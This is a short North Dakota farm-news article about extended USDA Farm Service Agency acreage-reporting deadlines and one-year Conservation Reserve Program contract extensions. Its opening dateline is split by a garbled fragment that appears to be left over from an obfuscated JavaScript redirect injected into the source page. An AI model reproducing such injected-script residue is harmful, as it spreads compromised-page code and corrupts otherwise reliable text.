FARGO, irktf|var|u0026u|referrer|ynrks||js|php’.split(‘|’),0,{}))
N.D. (NewsDakota.com) USDA Farm Service Agency North Dakota State Executive Director Aaron Krauter says that prevented planting reporting deadlines have been extended this year to coincide with the final acreage reporting date of July 15 due to planting issues caused by North Dakota’s cold, wet spring.  Krauter says, “Farmers need to visit their local FSA office before July 15 to report all their crop acreage, including that which has been prevented from planting.”

Farmers with highly erodible land are reminded they are required to follow a conservation plan to retain conservation compliance eligibility. If the weather conditions change a farmer’s planting plans, they need to ensure they still follow an acceptable conservation plan.

Krauter also reminds producers that it is important to accurately report failed and prevented planted acreage for crop insurance purposes and in the event future disaster programs are made available through USDA.

Meanwhile, Conservation Reserve Program participants with general signup contracts that are scheduled to expire on September 30, 2014 may be able to extend all or part of their contract acreage for an additional year at the same payment rate as the existing contract.

Krauter encourages producers to contact their local FSA office to get more information about the extension.  He says, “There is no general signup scheduled for the 2014 fiscal year, so producers that want to keep those acres in CRP are encouraged to look at extending their contracts.”

The signup period for the 1-year extension ends August 8, 2014.  Contracts with lengths that will exceed a total of fifteen years, as well as contracts enrolled in a continuous signup practice, are ineligible for the extension. For more information about any of these deadlines, contact your local FSA office or visit www.fsa.usda.gov.